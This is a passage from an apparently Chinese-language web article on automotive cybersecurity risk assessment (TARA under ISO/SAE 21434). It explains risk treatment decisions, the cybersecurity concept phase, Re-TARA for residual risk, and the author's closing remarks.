0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">影响评级：Severe</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">可行性评级：High</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">风险值：按照矩阵，当影响等级是Severe且可行性是High时，风险值为5</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">风险值的计算并不强制要求用表8矩阵，但方法要一致（必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值）且要有依据</span></p><h4 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 16px;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">七、风险处理决策（Risk treatment decision）</span></strong></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">风险处理决策是TARA的最后一步，根据威胁场景的风险值，选择合适的处理方式（RQ-15-17），并输出相应的网络安全目标或声明，该步骤的选项包括：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">消除风险</span></strong><p><span leaf="">移除风险源或放弃引发风险的功能/活动（比如取消或者移除某个引发高风险的功能）</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">降低风险</span></strong><p><span leaf="">通过技术或组织措施降低风险至可接受水平</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">转移风险</span></strong><p><span leaf="">通过合同或保险将风险转移给第三方</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">保留风险</span></strong><p><span leaf="">在风险可接受范围内保留残余风险，但需记录理由作为网络安全声明，并纳入持续监控和漏洞管理</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">注意：</span></strong><span leaf="">通常风险值为3/4/5的场景不可以选择接受残余风险，必须选择“消除”或“降低”</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过风险处理决策，能将TARA分析结果转化为可执行的安全目标或声明，确保高风险威胁得到有效处置</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">TARA输出示例：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031749" alt="image" class="rich_pages wxw-img" data-ratio="1.243298969072165" data-type="png" data-w="485" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=979bd16e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzVY8ViciakKiafE7npeyrNicOBVceFGVBCFqKNOao1CLcuiaibdtLlJeDa65g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">网络安全概念</span></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">网络安全概念阶段（9 Concept）是车辆网络安全工程中的关键环节，其核心任务是将TARA输出的网络安全目标和声明转化为一个针对Item的、整体的、抽象级别的安全设计方案，为后续需求细化、系统实现和验证测试提供指导框架，TARA通过风险处理决策直接输出：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">网络安全目标</span></strong><p><span leaf="">用于降低不可接受风险的高层要求，是网络安全需求的最高层来源</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">网络安全声明</span></strong><p><span leaf="">对接受或转移风险的理由说明</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">网络安全概念以此为基础，完成以下工作：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">描述安全控制措施（RQ-09-08）：</span></strong><strong style="box-sizing: border-box;font-weight: bold;"><span leaf=""><br/></span></strong><strong style="box-sizing: border-box;font-weight: bold;"><span leaf=""><span textstyle="" style="font-weight: normal;">描述用什么技术或运营手段实现目标</span></span></strong></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">定义网络安全需求（RQ-09-09）：</span></strong><strong style="box-sizing: border-box;font-weight: bold;"><span leaf=""><br/></span></strong><strong style="box-sizing: border-box;font-weight: bold;"><span leaf=""><span textstyle="" style="font-weight: normal;">从安全目标派生安全需求</span></span></strong></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">需求分配（RQ-09-10）：</span></strong><strong style="box-sizing: border-box;font-weight: bold;"><span leaf=""><br/></span></strong><strong style="box-sizing: border-box;font-weight: bold;"><span leaf=""><span textstyle="" style="font-weight: normal;">将需求分配到Item</span></span></strong></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总的来说，网络安全概念将TARA的“风险是什么、怎么处理”转化为“怎么在架构中防”，确保所有TARA识别的风险得到覆盖，并将分析结果落地到设计中</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为了使网络安全活动全链条逻辑清晰、可追溯性强，我非常建议在TARA的风险处理决策后直接衔接网络安全概念部分，通过这种结构，整个风险链条（威胁场景 -&gt;风险值 -&gt; 处理决策 -&gt; 网络安全目标 -&gt; 安全控制措施 -&gt; 网络安全需求）一目了然，这种一体化呈现方式能很大程度上减少文档分散带来的查找成本，提高工作效率，输出示例：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031754" alt="image" class="rich_pages wxw-img" data-ratio="0.26851851851851855" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=732f1602&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzseCZ8Zb1T4xWj6ibwK4e939Nf5bquUJGYxVKWkjuI2Q2bjATRGFzNPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Re-TARA</span></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Re-TARA是指在初始TARA完成后，系统实现、并通过验证测试后，对残余风险进行的重新威胁分析与风险评估，其本质上是TARA方法的迭代应用，目的是确认已实施的安全措施是否有效降低了风险，并评估当前残余风险是否仍可接受，注意，此处的残余风险有两个意思：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">经过整改后，还是无法解决这个风险</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">经过整改后，已经验证了安全措施有效，但网络安全不是静态的，安全措施只是当前有效不代表以后没有新漏洞、新攻击技术利用，所以此处的验证有效只代表当前状态，所以此时结果是降低风险到可接受，而不是代表“已安全”（无法永远安全），所以此时这一项就成了残余风险，需要后续管理</span><h2 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);text-align: left;"><span leaf="">怎么做Re-TARA</span></h2></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf=""><span textstyle="" style="font-weight: bold;">输入材料</span>：</span></p><p><span leaf="">初始TARA报告、已实现的网络安全需求、验证测试结果、变更记录、新漏洞情报</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf=""><span textstyle="" style="font-weight: bold;">过程</span>：</span></p><p><span leaf="">1.重新审视威胁场景和攻击路径，评估措施实施后攻击可行性是否降低</span></p><p><span leaf="">2.重新计算风险值</span></p><p><span leaf="">3.对残余风险决定“接受”（记录网络安全声明）或进一步措施</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf=""><span textstyle="" style="font-weight: bold;">输出材料</span>：</span></p><p><span leaf="">1.残余风险列表及网络安全声明（接受理由）</span></p><p><span leaf="">2.监控计划</span></p></li></ul><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">结语</span></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">TARA作为ISO/SAE 21434定义的核心风险评估方法，其在UN R155法规框架下不仅是技术工具，更是车辆型式认证和CSMS运行的合规基石，通过系统识别资产、威胁、损害、可行性，并最终转化为网络安全目标和需求，TARA确保了风险从识别到缓解的全链条闭环，在实际项目中，TARA需结合法规基准（附录5参考场景）和供应链协作（供应商组件级结果整合），尤其整车级要重点关注集成引入的新风险，持续迭代和监控是保持车辆生命周期网络安全的关健</span></p><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">说明</span></h1><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">输出的TARA示例图每个都是单独例子，请不要串联</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">TARA真的是一个复杂的工作，光粗略的写都能有近万字，其中的过程其实还有很多种方法这里没有提及，请谅解，如果你有我的联系方式，我们可以交流一下</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">重申：TARA有很多方法，如果我讲的跟你想的不一致请不要喷，不好的评论我会删</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">ReTARA网络安全不是静态这个概念是之前在某个认证现场跟老外讨论并且后面本人已经做过了的，我觉得是真可以</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">TARA需要尽早开展，避免后期大返工（最好是车型立项开始选供应商阶段，OEM提供初步安全需求作为选型标准，签订合同后开始完成TARA，这个过程大概有7-12个月或以上，贯穿整个车型周期）</span></p></li></ul><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后</span></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color 